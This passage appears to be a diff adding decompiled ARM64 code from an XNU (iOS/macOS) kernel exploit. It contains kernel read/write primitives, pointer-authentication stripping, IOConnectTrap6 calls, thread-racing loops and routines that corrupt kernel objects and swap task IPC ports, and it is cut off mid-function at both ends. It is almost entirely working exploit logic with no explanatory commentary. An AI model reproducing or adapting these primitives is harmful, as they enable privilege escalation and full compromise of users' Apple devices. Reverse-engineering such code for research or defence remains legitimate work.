8) + 48LL))(*(_QWORD *)(a1 + 8), 53); + **a2 = 2; + return result; +} +// 432F0: using guessed type __int128 xmmword_432F0; + +//----- (000000000001B42C) ---------------------------------------------------- +__int64 __fastcall sub_1B42C(__int64 a1) +{ + unsigned __int64 v2; // x26 + thread_act_t v3; // w0 + __int64 v4; // x20 + __int64 v5; // x21 + __int64 v6; // x0 + struct_krwCtx *v7; // x21 + __int64 v8; // x0 + unsigned __int64 v9; // x0 + struct_krwCtx *v10; // x21 + __int64 v11; // x0 + unsigned __int64 v12; // x22 + __int64 v13; // x21 + __int64 v14; // x0 + __int64 v16; // x0 + __int64 v17; // x0 + __int64 v18; // x21 + __int64 v19; // x23 + __int64 v20; // x0 + __int64 v21; // x21 + __int64 v22; // x23 + __int64 v23; // x8 + __int64 v24; // x0 + bool v25; // zf + __int64 v26; // x24 + __int64 v27; // x21 + __int64 v28; // x0 + unsigned __int64 v29; // x8 + __int64 v30; // x28 + unsigned __int64 v31; // x8 + mach_port_name_t v32; // w0 + __int64 v33; // x8 + int v34; // w21 + __int64 v35; // x9 + __int64 v36; // x20 + __int64 v37; // [xsp+40h] [xbp-400h] + unsigned __int64 v38; // [xsp+48h] [xbp-3F8h] + __int64 v39; // [xsp+50h] [xbp-3F0h] + __int64 v40; // [xsp+58h] [xbp-3E8h] + __int64 v41; // [xsp+60h] [xbp-3E0h] + __int64 v42; // [xsp+68h] [xbp-3D8h] + uintptr_t v43; // [xsp+70h] [xbp-3D0h] + unsigned __int64 v44; // [xsp+78h] [xbp-3C8h] + __int64 v45; // [xsp+88h] [xbp-3B8h] + uintptr_t v46; // [xsp+90h] [xbp-3B0h] + _QWORD v47[12]; // [xsp+A8h] [xbp-398h] BYREF + pthread_t v48; // [xsp+108h] [xbp-338h] BYREF + _QWORD v49[5]; // [xsp+110h] [xbp-330h] BYREF + __int64 v50; // [xsp+138h] [xbp-308h] BYREF + __int128 policy_info; // [xsp+140h] [xbp-300h] BYREF + _OWORD connect[2]; // [xsp+150h] [xbp-2F0h] BYREF + __int128 v53; // [xsp+170h] [xbp-2D0h] + __int128 v54; // [xsp+180h] [xbp-2C0h] + __int128 v55; // [xsp+190h] [xbp-2B0h] + __int128 v56; // [xsp+1A0h] [xbp-2A0h] + __int128 v57; // [xsp+1B0h] [xbp-290h] BYREF + _QWORD v58[64]; // [xsp+1C8h] [xbp-278h] BYREF + + v2 = *(_QWORD *)algn_480E0; + if ( strstr((const char *)qword_480D8, "T8020") ) + return 5; + v55 = 0u; + v56 = 0u; + v53 = 0u; + v54 = 0u; + memset(connect, 0, sizeof(connect)); + sub_1AADC(a1, (__int64)connect); + policy_info = xmmword_43300; + v3 = mach_thread_self(); + thread_policy_set(v3, 2u, (thread_policy_t)&policy_info, 4u); + v57 = xmmword_432E0; + v4 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v57); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v4, 0xBEE5000000010003LL); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v4 + 8, v4 + 256); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v4 + 16, v4 + 512); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v4 + 24, v4 + 768); + v57 = xmmword_432E0; + v5 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v57); + while ( 1 ) + { + v6 = (*(__int64 (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 48LL))(*(_QWORD *)(a1 + 8), 48); + if ( (unsigned __int8)v6 != 6 ) + break; + sub_1B280(a1); + } + if ( v6 ) + return 5; + v45 = sub_10660(*(_QWORD *)a1, v5); + v7 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v8 = sub_10660(*(_QWORD *)a1, *(_QWORD *)(*(_QWORD *)a1 + 16LL) + 40LL); + v9 = krw_xpac_vaddr_2(v7, v8); + v10 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v11 = sub_10660(*(_QWORD *)a1, v9 + 64); + v12 = krw_xpac_vaddr_2(v10, v11); + v57 = xmmword_432E0; + v13 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v57); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v13, 0); + v58[0] = v13; + (*(void (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480B0, + 1, + v58); + while ( 1 ) + { + v14 = (*(__int64 (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 48LL))(*(_QWORD *)(a1 + 8), 10); + if ( (unsigned __int8)v14 != 6 ) + break; + sub_1B280(a1); + } + if ( v14 ) + return 5; + MEMORY[0x400004008] = 1094795585; + v16 = sub_10660(*(_QWORD *)a1, v12); + v58[0] = sub_10660(*(_QWORD *)a1, v16) & 0xFFFFFFFFC000LL; + v17 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480B8, + 1, + v58); + v18 = sub_10660(*(_QWORD *)a1, v17 + 4096) & 0xFFFFFFFFC000LL; + v58[0] = v18; + v42 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480B8, + 1, + v58); + v44 = sub_10660(*(_QWORD *)a1, v42 + 8) & 0xFFFF000000003FFFLL | v18; + v57 = xmmword_432E0; + v43 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v57); + v19 = *(_QWORD *)a1; + v20 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + qword_48098, + 20592); + kwrite64_via_kwritebuf(v19, v43 + 64, v20); + v57 = xmmword_432E0; + v46 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v57); + v21 = 0; + do + { + v22 = qword_43378[v21]; + v23 = dword_43390[v21]; + *(_QWORD *)&v57 = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; + *((_QWORD *)&v57 + 1) = v23; + v24 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v57); + if ( v24 ) + v25 = 1; + else + v25 = v21 == 2; + ++v21; + } + while ( !v25 ); + v26 = v24; + v27 = sub_10660(*(_QWORD *)a1, qword_480C8); + v39 = sub_10660(*(_QWORD *)a1, qword_480D0); + v58[0] = v26; + v28 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480B0, + 1, + v58); + v50 = 1; + v29 = v44; + if ( v2 > 0x918C5A833FFLL ) + v29 = v42; + v37 = ((unsigned __int64)(v28 - v27) >> 13) & 0x7FFFFFFFFFFFELL; + v38 = v29; + v41 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + qword_48080, + 28765); + v40 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + qword_48088, + 28765); + v30 = 0; + *(_DWORD *)(a1 + 20) = mach_thread_self(); + do + { + v49[0] = _NSConcreteStackBlock; + v49[1] = 3221225472LL; + v49[2] = sub_1BC60; + v49[3] = &unk_44918; + v49[4] = a1; + pthread_create((pthread_t *)&v58[v30++], 0, (void *(__cdecl *)(void *))sub_1BC54, v49); + } + while ( v30 != 64 ); + v47[0] = _NSConcreteStackBlock; + v47[1] = 3221225472LL; + v47[2] = sub_1BC68; + v47[3] = &unk_44938; + v47[4] = a1; + v47[5] = &v50; + v31 = v44; + if ( v2 <= 0x918C5A833FFLL ) + v31 = v42; + v47[6] = v45 + 8; + v47[7] = v38; + v47[8] = v31; + v47[9] = 0; + v47[10] = v26; + v47[11] = v22; + pthread_create(&v48, 0, (void *(__cdecl *)(void *))sub_1BC54, v47); + while ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) == 0 ) + { + v32 = mach_thread_self(); + thread_switch(v32, 0, 0); + } + v50 = 0; + while ( (kread32(*(_QWORD *)a1, v37 + v39) & 0x8000) == 0 ) + ; + v33 = *((_QWORD *)&v53 + 1); + **((_QWORD **)&v53 + 1) = v45; + *(_QWORD *)(v33 + 8) = v40; + IOConnectTrap6(connect[0], 0, 0xBEE2u, 0, 0, 0, 0, 0); + v34 = 8; + do + { + v35 = *((_QWORD *)&v53 + 1); + **((_QWORD **)&v53 + 1) = qword_480C0; + *(_QWORD *)(v35 + 8) = v41; + IOConnectTrap6(connect[0], 0, v43, v4, 0x20u, v46, 0, 0); + --v34; + } + while ( v34 ); + while ( v50 != 2 ) + ; + *(_QWORD *)&v57 = v26; + *((_QWORD *)&v57 + 1) = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; + (*(void (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A8, + 2, + &v57); + __dsb(0xFu); + (*(void (__fastcall **)(_QWORD, __int64, _QWORD, _QWORD))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_48090, + 0, + 0); + v36 = 0; + *(_DWORD *)(a1 + 20) = 0; + do + pthread_join((pthread_t)v58[v36++], 0); + while ( v36 != 64 ); + pthread_join(v48, 0); + sub_1B158(a1, (__int64)connect); + return 0; +} +// 20: using guessed type segment_command_64 stru_20; +// 432E0: using guessed type __int128 xmmword_432E0; +// 43300: using guessed type __int128 xmmword_43300; +// 43378: using guessed type _QWORD qword_43378[3]; +// 43390: using guessed type unsigned int dword_43390[3]; +// 48080: using guessed type __int64 qword_48080; +// 48088: using guessed type __int64 qword_48088; +// 48090: using guessed type __int64 qword_48090; +// 48098: using guessed type __int64 qword_48098; +// 480A0: using guessed type __int64 qword_480A0; +// 480A8: using guessed type __int64 qword_480A8; +// 480B0: using guessed type __int64 qword_480B0; +// 480B8: using guessed type __int64 qword_480B8; +// 480C0: using guessed type __int64 qword_480C0; +// 480C8: using guessed type __int64 qword_480C8; +// 480D0: using guessed type __int64 qword_480D0; +// 480D8: using guessed type __int64 qword_480D8; +// 480E0: using guessed type _BYTE algn_480E0[32]; + +//----- (000000000001BC54) ---------------------------------------------------- +__int64 __fastcall sub_1BC54(__int64 a1) +{ + return (*(__int64 (**)(void))(a1 + 16))(); +} + +//----- (000000000001BC60) ---------------------------------------------------- +__int64 __fastcall sub_1BC60(__int64 a1) +{ + return sub_1AA90(*(_QWORD *)(a1 + 32)); +} + +//----- (000000000001BC68) ---------------------------------------------------- +__int64 __fastcall sub_1BC68(__int64 a1) +{ + return sub_1B360(*(_QWORD *)(a1 + 32), (_QWORD **)(a1 + 40)); +} + +//----- (000000000001BC78) ---------------------------------------------------- +__int64 __fastcall sub_1BC78(task_name_t a1) +{ + _QWORD *v3; // x20 + vm_size_t outsize; // [xsp+8h] [xbp-28h] BYREF + __int64 v5; // [xsp+10h] [xbp-20h] BYREF + __int64 v6; // [xsp+18h] [xbp-18h] BYREF + + if ( (unsigned int)sub_1BD24(a1, &v6) ) + return 0; + v3 = (_QWORD *)(v6 + 40); + if ( mach_task_self_ == a1 ) + { + *v3 |= 1uLL; + } + else + { + if ( vm_read_overwrite(a1, v6 + 40, 8u, (vm_address_t)&v5, &outsize) ) + return 0; + v5 |= 1uLL; + if ( vm_write(a1, (vm_address_t)v3, (vm_offset_t)&v5, 8u) ) + return 0; + } + return 1; +} + +//----- (000000000001BD24) ---------------------------------------------------- +__int64 __fastcall sub_1BD24(task_name_t a1, _QWORD *a2) +{ + __int64 result; // x0 + mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-2Ch] BYREF + integer_t task_info_out[6]; // [xsp+8h] [xbp-28h] BYREF + + task_info_outCnt = 5; + result = task_info(a1, 0x11u, task_info_out, &task_info_outCnt); + if ( !(_DWORD)result ) + { + if ( *(_QWORD *)task_info_out ) + { + result = 0; + *a2 = *(_QWORD *)task_info_out; + } + else + { + return 5; + } + } + return result; +} + +//----- (000000000001BD80) ---------------------------------------------------- +__int64 __fastcall sub_1BD80(__int64 a1, unsigned int a2) +{ + unsigned int v2; // w0 + unsigned int v3; // w19 + __int64 v5; // [xsp+8h] [xbp-18h] BYREF + + v2 = sub_1BDEC(a2); + if ( (v2 & 0x80000000) != 0 ) + return 0; + v3 = v2; + if ( (unsigned int)sub_1BD24(mach_task_self_, &v5) ) + return 0; + if ( v3 <= 7 ) + return v5 + 4LL * (v3 + 6) + 232; + return 0; +} + +//----- (000000000001BDEC) ---------------------------------------------------- +__int64 __fastcall sub_1BDEC(unsigned int a1) +{ + if ( a1 > 0x19 ) + return 0xFFFFFFFFLL; + else + return dword_4339C[a1]; +} +// 4339C: using guessed type unsigned int dword_4339C[27]; + +//----- (000000000001BE0C) ---------------------------------------------------- +__int64 __fastcall sub_1BE0C(__int64 a1, unsigned int a2, mach_port_name_t *a3) +{ + mach_port_name_t *v6; // x0 + mach_port_name_t *v7; // x20 + mach_port_name_t v8; // w1 + kern_return_t v9; // w0 + __int64 result; // x0 + unsigned int v11; // w1 + unsigned __int64 v12; // [xsp+0h] [xbp-30h] BYREF + mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF + + name = 0; + if ( *(_QWORD *)(a1 + 344) < 0x1F543C40800000uLL ) + { + if ( voucher_create_mach_voucher(a1, a2 + 0x1122334455667788LL, &name) ) + { +LABEL_7: + result = 0; + *a3 = name; + return result; + } + return 4097; + } + v6 = (mach_port_name_t *)sub_1BD80(a1, a2); + if ( v6 ) + { + v7 = v6; + v8 = *v6; + name = v8; + if ( v8 + 1 > 1 ) + goto LABEL_4; + v12 = 0; + if ( a2 - 19 >= 2 ) + { + if ( a2 != 16 ) + return 4097; + v11 = 11; + } + else + { + v11 = 12; + } + if ( (unsigned int)sub_36160((struct_krwCtx *)a1, v11, (__int64 *)&v12) && v12 ) + { + result = sub_36480((struct_krwCtx *)a1, v12, &name); + if ( (_DWORD)result ) + return result; + if ( name + 1 >= 2 ) + { + v9 = mach_port_mod_refs(mach_task_self_, name, 0, 0xFFFF); + if ( v9 ) + return v9 | 0x80000000; + *v7 = name; + v8 = name; +LABEL_4: + v9 = mach_port_mod_refs(mach_task_self_, v8, 0, 1); + if ( v9 ) + return v9 | 0x80000000; + goto LABEL_7; + } + } + } + return 4097; +} + +//----- (000000000001BF68) ---------------------------------------------------- +__int64 __fastcall sub_1BF68(__int64 a1, unsigned int a2, vm_size_t size, vm_address_t *address) +{ + __int64 v6; // x21 + kern_return_t v7; // w0 + mem_entry_name_port_t object; // [xsp+Ch] [xbp-24h] BYREF + + object = 0; + v6 = sub_1BE0C(a1, a2, &object); + if ( !(_DWORD)v6 ) + { + if ( !address ) + { + v6 = 0; + goto LABEL_11; + } + v7 = vm_map(mach_task_self_, address, size, 0, 1, object, 0, 0, 3, 3, 2u); + if ( v7 ) + v6 = v7 | 0x80000000; + else + v6 = 0; + if ( !(_DWORD)v6 ) + goto LABEL_11; + } + if ( address && *address ) + { + vm_deallocate(mach_task_self_, *address, size); + *address = 0; + } +LABEL_11: + if ( object + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object); + return v6; +} + +//----- (000000000001C058) ---------------------------------------------------- +__int64 __fastcall sub_1C058(__int64 a1) +{ + vm_size_t v2; // x20 + __int64 result; // x0 + vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF + + v4 = 0; + v2 = vm_page_size; + if ( *(_QWORD *)(a1 + 280) && *(_QWORD *)(a1 + 288) ) + return 0; + result = sub_1BF68(a1, 0x10u, vm_page_size, &v4); + if ( !(_DWORD)result ) + { + *(_QWORD *)(a1 + 280) = v4; + *(_QWORD *)(a1 + 288) = v2; + } + return result; +} + +//----- (000000000001C0C8) ---------------------------------------------------- +__int64 __fastcall sub_1C0C8(__int64 a1, int *a2) +{ + unsigned __int64 v4; // x8 + __int64 v5; // x24 + __int64 v6; // x21 + ipc_voucher_t *v7; // x22 + __int32 *v8; // x25 + __int64 v9; // x27 + __int32 *v10; // x20 + int v11; // w8 + int v13; // w0 + unsigned __int64 v14; // x8 + __darwin_time_t tv_sec; // x22 + unsigned __int64 v16; // x8 + unsigned __int64 v17; // x22 + unsigned __int64 v18; // x8 + __int64 v19; // x22 + stat v20; // [xsp+0h] [xbp-110h] BYREF + int nullFd; // [xsp+94h] [xbp-7Ch] BYREF + __int32 v22[2]; // [xsp+98h] [xbp-78h] BYREF + __int64 v23; // [xsp+A0h] [xbp-70h] + _QWORD v24[2]; // [xsp+A8h] [xbp-68h] BYREF + + v24[0] = 0; + v24[1] = 0; + *(_QWORD *)v22 = -1; + v23 = -1; + nullFd = -1; + v4 = *(_QWORD *)(a1 + 344); + if ( v4 > 0x1C1B0A800FFFFFLL && (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + v5 = 3; + } + else if ( v4 > 0x1F52FFFFFFFFFFLL ) + { + v5 = 3; + } + else + { + v5 = 4; + } + if ( (unsigned int)fd_open_dev_null(&nullFd) ) + { +LABEL_14: + v10 = v22; + do + { + if ( *v10 != -1 ) + close(*v10); + ++v10; + --v5; + } + while ( v5 ); + v11 = 0; + } + else + { + v6 = 0x1122334455667788LL; + v7 = (ipc_voucher_t *)v24; + v8 = v22; + v9 = v5; + do + { + if ( !voucher_create_mach_voucher(a1, v6, v7) ) + goto LABEL_13; + *v8 = j__fileport_makefd(*v7); + mach_port_deallocate(mach_task_self_, *v7); + *v7 = 0; + if ( *v8 < 0 ) + goto LABEL_13; + ++v6; + ++v7; + ++v8; + --v9; + } + while ( v9 ); + if ( (unsigned int)setup_two_fds(v22) ) + { +LABEL_13: + fd_close(nullFd); + goto LABEL_14; + } + v13 = v22[1]; + *(_DWORD *)(a1 + 6448) = v22[0]; + *(_DWORD *)(a1 + 6452) = v13; + v14 = *(_QWORD *)(a1 + 344); + if ( v14 > 0x1C1B0A800FFFFFLL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v14 > 0x1F52FFFFFFFFFFLL) ) + *(_DWORD *)(a1 + 6464) = v23; + else + *(_QWORD *)(a1 + 6456) = v23; + if ( !fstat(v13, &v20) ) + { + tv_sec = v20.st_atimespec.tv_sec; + if ( validate_addr(a1, v20.st_atimespec.tv_sec) ) + *(_QWORD *)(a1 + 6608) = tv_sec; + v16 = *(_QWORD *)(a1 + 344); + if ( v16 > 0x1C1B0A800FFFFFLL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v16 > 0x1F52FFFFFFFFFFLL) ) + { + v17 = v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL; + if ( validate_addr(a1, v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL) ) + *(_QWORD *)(a1 + 536) = v17; + v18 = ((unsigned __int64)v20.st_atimespec.tv_nsec >> 40) * *(unsigned int *)(a1 + 384); + if ( v18 && (*(_QWORD *)(a1 + 392) & v18) == 0 ) + *(_QWORD *)(a1 + 6624) = v18; + if ( *(_DWORD *)(a1 + 6448) != -1 && *(_DWORD *)(a1 + 6452) != -1 && *(_DWORD *)(a1 + 6464) != -1 ) + { + if ( *(_QWORD *)(a1 + 536) ) + { + if ( *(_QWORD *)(a1 + 344) >= 0x1C1B1914600000uLL && !(unsigned int)sub_1C058(a1) ) + { + v19 = *(_QWORD *)(*(_QWORD *)(a1 + 280) + 256LL); + if ( validate_addr(a1, v19) ) + *(_QWORD *)(a1 + 544) = v19; + } + } + } + } + else if ( v20.st_atimespec.tv_nsec && (*(_QWORD *)(a1 + 392) & v20.st_atimespec.tv_nsec) == 0 ) + { + *(_QWORD *)(a1 + 6624) = v20.st_atimespec.tv_nsec; + } + } + fd_read_test((int *)(a1 + 6448)); + fd_close(nullFd); + v11 = 1; + } + *a2 = v11; + return 1; +} + +//----- (000000000001C3EC) ---------------------------------------------------- +__int64 __fastcall sub_1C3EC(__int64 a1, int *a2) +{ + vm_size_t v4; // x20 + int v5; // w8 + __int64 result; // x0 + __int64 v7; // x24 + ipc_voucher_t *v8; // x22 + mach_port_name_t *v9; // x0 + mach_port_name_t v10; // w1 + __int64 i; // x21 + mach_port_name_t v12; // w1 + int v13; // w21 + bool v14; // zf + __int64 v15; // x22 + __int64 v16; // x22 + __int64 v17; // x22 + int v18; // w24 + unsigned __int64 v19; // x0 + mach_port_t v20; // w9 + vm_size_t v21; // x8 + bool v22; // cf + int v23; // [xsp+14h] [xbp-7Ch] BYREF + vm_address_t v24; // [xsp+18h] [xbp-78h] BYREF + vm_address_t address; // [xsp+20h] [xbp-70h] BYREF + __int128 v26; // [xsp+28h] [xbp-68h] + mach_port_t connection[2]; // [xsp+38h] [xbp-58h] BYREF + mem_entry_name_port_t object; // [xsp+40h] [xbp-50h] + + object = 0; + *(_QWORD *)connection = 0; + address = 0; + v4 = vm_page_size; + v24 = 0; + v23 = -1; + v5 = fd_open_dev_null(&v23); + result = 0; + if ( !v5 ) + { + v7 = -3; + v8 = connection; + do + { + if ( *(_QWORD *)(a1 + 344) < 0x1F543C40800000uLL ) + { + result = voucher_create_mach_voucher(a1, v7 + 0x312233445566778BLL, v8); + if ( !(_DWORD)result ) + break; + if ( *v8 + 1 < 2 ) + goto LABEL_16; + } + else + { + v9 = (mach_port_name_t *)sub_1BD80(result, (int)v7 + 3); + if ( !v9 ) + goto LABEL_16; + v10 = *v9; + *v8 = *v9; + if ( v10 + 1 < 2 ) + goto LABEL_16; + result = mach_port_mod_refs(mach_task_self_, v10, 0, 1); + if ( (_DWORD)result ) + goto LABEL_16; + } + ++v8; + v22 = __CFADD__(v7++, 1); + } + while ( !v22 ); + if ( (*(int *)(a1 + 320) > 8791 || IOConnectCallMethod(connection[1], 0x3E7u, 0, 0, 0, 0, 0, 0, 0, 0) == -536870201) + && !vm_map(mach_task_self_, &address, v4, 0, 1, connection[0], 0, 0, 3, 3, 2u) + && !vm_map(mach_task_self_, &v24, v4, 0, 1, object, 0, 0, 3, 3, 2u) ) + { + v15 = *(_QWORD *)v24; + if ( validate_addr(a1, *(_QWORD *)v24) ) + { + *(_QWORD *)(a1 + 6608) = v15; + v16 = *(_QWORD *)(v24 + 8); + if ( validate_addr(a1, v16) ) + { + *(_QWORD *)(a1 + 240) = v16; + v17 = *(unsigned int *)(v24 + 16); + v18 = *(_DWORD *)(v24 + 20); + v19 = krw_xpac_vaddr_2((struct_krwCtx *)a1, *(_QWORD *)(address + v17)); + if ( validate_addr(a1, v19) ) + { + v20 = connection[0]; + *(_DWORD *)(a1 + 232) = connection[1]; + *(_QWORD *)(a1 + 248) = address; + *(_QWORD *)(a1 + 256) = v4; + *(_DWORD *)(a1 + 276) = v20; + *(_DWORD *)(a1 + 272) = v18; + *(_QWORD *)(a1 + 264) = v17; + fd_close(v23); + v13 = 1; + goto LABEL_24; + } + v26 = 0u; + if ( v4 ) + { + v21 = 0; + do + { + v14 = v26 == *(_OWORD *)(address + v21); + v21 = (unsigned int)(v21 + 16); + v22 = !v14 || v21 >= v4; + } + while ( !v22 ); + } + } + } + } +LABEL_16: + fd_close(v23); + if ( address && v4 ) + vm_deallocate(mach_task_self_, address, v4); + for ( i = 0; i != 3; ++i ) + { + v12 = connection[i]; + if ( v12 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v12); + } + v13 = 0; +LABEL_24: + if ( v24 ) + v14 = v4 == 0; + else + v14 = 1; + if ( !v14 ) + vm_deallocate(mach_task_self_, v24, v4); + *a2 = v13; + return 1; + } + return result; +} + +//----- (000000000001C720) ---------------------------------------------------- +__int64 __fastcall sub_1C720(struct_krwCtx *a1, unsigned int *a2, unsigned int a3) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + __int64 v8; // x22 + unsigned __int64 v10; // x23 + __int64 v11; // x24 + unsigned __int64 v12; // x22 + _BOOL4 v13; // w8 + __int64 v14; // x20 + int v15; // [xsp+0h] [xbp-40h] BYREF + _BYTE v16[4]; // [xsp+4h] [xbp-3Ch] BYREF + unsigned __int64 v17; // [xsp+8h] [xbp-38h] BYREF + + result = 0; + xnuMajorVersion = a1->xnuMajorVersion; + v8 = 56; + if ( xnuMajorVersion <= 8018 ) + { + if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 ) + return result; + } + else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) + { + if ( xnuMajorVersion != 8792 ) + return result; + v8 = 48; + } + result = task_self_get_ipc_port(a1, *a2); + if ( result ) + { + v10 = result; + result = kread32_outptr((__int64)a1, result, &v15); + if ( (_DWORD)result ) + { + if ( (v15 & 0x3FF) != 0x25 ) + return 0; + result = maybe_ipc_port_get_kobject(a1, v10); + if ( result ) + { + v11 = result; + v12 = result + v8; + v13 = kread64_outptr(a1, v12, &v17); + result = 0; + if ( v13 && v10 == v17 ) + { + result = kread32_outptr((__int64)a1, v11 + 8, v16); + if ( (_DWORD)result ) + { + result = noppl_kwrite32((__int64)a1, v11 + 8, 0xFFFF); + if ( (_DWORD)result ) + { + if ( mach_port_deallocate(mach_task_self_, *a2) ) + return 0; + *a2 = 0; + result = task_self_get_ipc_port(a1, a3); + if ( result ) + { + v14 = result; + result = kwrite64((__int64)a1, v12, result); + if ( (_DWORD)result ) + { + sub_35E8C((__int64)a1, v14); + return 1; + } + } + } + } + } + } + } + } + return result; +} + +//----- (000000000001C8B0) ---------------------------------------------------- +__int64 __fastcall sub_1C8B0(struct_krwCtx *a1, unsigned int a2, unsigned int a3) +{ + __int64 v6; // x0 + _DWORD *v7; // x21 + __int64 v8; // x0 + __int64 v9; // x23 + __int64 v10; // x22 + unsigned int v11; // w22 + kern_return_t v12; // w0 + __int64 v14; // [xsp+0h] [xbp-40h] BYREF + mach_port_name_t name; // [xsp+Ch] [xbp-34h] BYREF + + name = 0; + if ( a1->someLargeNumber < 0x1F543C40800000LL ) + { + if ( voucher_create_mach_voucher((__int64)a1, a2 + 0x1122334455667788LL, &name) + && (unsigned int)sub_1C720(a1, &name, a3) ) + { + goto LABEL_9; + } + } + else + { + v14 = 0; + v6 = sub_1BD80((__int64)a1, a2); + if ( v6 ) + { + v7 = (_DWORD *)v6; + v8 = task_self_get_ipc_port(a1, a3); + if ( !v8 ) + { + v10 = 163854; + goto LABEL_19; + } + v9 = v8; + v10 = sub_35E8C((__int64)a1, v8); + if ( (_DWORD)v10 ) + goto LABEL_19; + if ( a2 - 19 >= 2 ) + { + if ( a2 != 16 ) + { +LABEL_16: + v12 = mach_port_mod_refs(mach_task_self_, a3, 0, 0xFFFF); + if ( v12 ) + { + v10 = v12 | 0x80000000; + goto LABEL_19; + } + *v7 = a3; +LABEL_9: + v10 = 0; + goto LABEL_19; + } + v11 = 11; + } + else + { + v11 = 12; + } + if ( (unsigned int)sub_36160(a1, v11, &v14) && (v14 || (unsigned int)sub_361DC((__int64)a1, v11, v9)) ) + goto LABEL_16; + } + } + v10 = 4097; +LABEL_19: + if ( name + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name); + return v10; +} + +//----- (000000000001CA3C) ---------------------------------------------------- +__int64 __fastcall sub_1CA3C(__int64 a1, task_name_t a2, unsigned int a3, __int64 a4, unsigned int a5) +{ + __int64 v5; // x21 + __int64 v6; // x22 + __int64 v10; // x25 + __int64 v11; // x26 + __int64 v12; // x24 + unsigned int v13; // w1 + int inserted; // w0 + __int64 v15; // x23 + __int64 v16; // x25 + char *v17; // x22 + unsigned int v18; // w0 + unsigned int v19; // w0 + kern_return_t v20; // w0 + mach_port_t *v22; // x23 + _DWORD *v23; // x26 + mach_port_t v24; // w22 + _QWORD *v25; // x23 + unsigned int v26; // w0 + unsigned int v27; // w0 + char v29; // [xsp+14h] [xbp-8Ch] + mach_vm_size_t outsize; // [xsp+18h] [xbp-88h] BYREF + __int64 v31; // [xsp+20h] [xbp-80h] BYREF + _QWORD v32[2]; // [xsp+28h] [xbp-78h] BYREF + _QWORD v33[2]; // [xsp+38h] [xbp-68h] BYREF + + if ( *(_QWORD *)(a1 + 344) < 0x1F543C40800000uLL ) + return 0; + LODWORD(v5) = a3; + if ( a3 - 1 > 3 ) + return 708609; + v10 = 0; + v11 = 163857; + v33[0] = 0; + v33[1] = 0; + v12 = a3; + v6 = 163848; + do + { + if ( a4 ) + v13 = *(_DWORD *)(a4 + 4 * v10); + else + v13 = v10; + a1 = sub_1BD80(a1, v13); + if ( !a1 ) + return 4097; + if ( (unsigned int)(*(_DWORD *)a1 + 1) <= 1 && ((a5 >> v10) & 1) != 0 ) + return v6; + *((_DWORD *)v33 + v10++) = *(_DWORD *)a1; + } + while ( (unsigned int)v5 != v10 ); + inserted = sub_1BD24(a2, &v31); + if ( inserted ) + return inserted | 0x80000000; + v15 = 0; + v29 = 0; + v32[0] = 0; + v32[1] = 0; + v16 = v31 + 232; 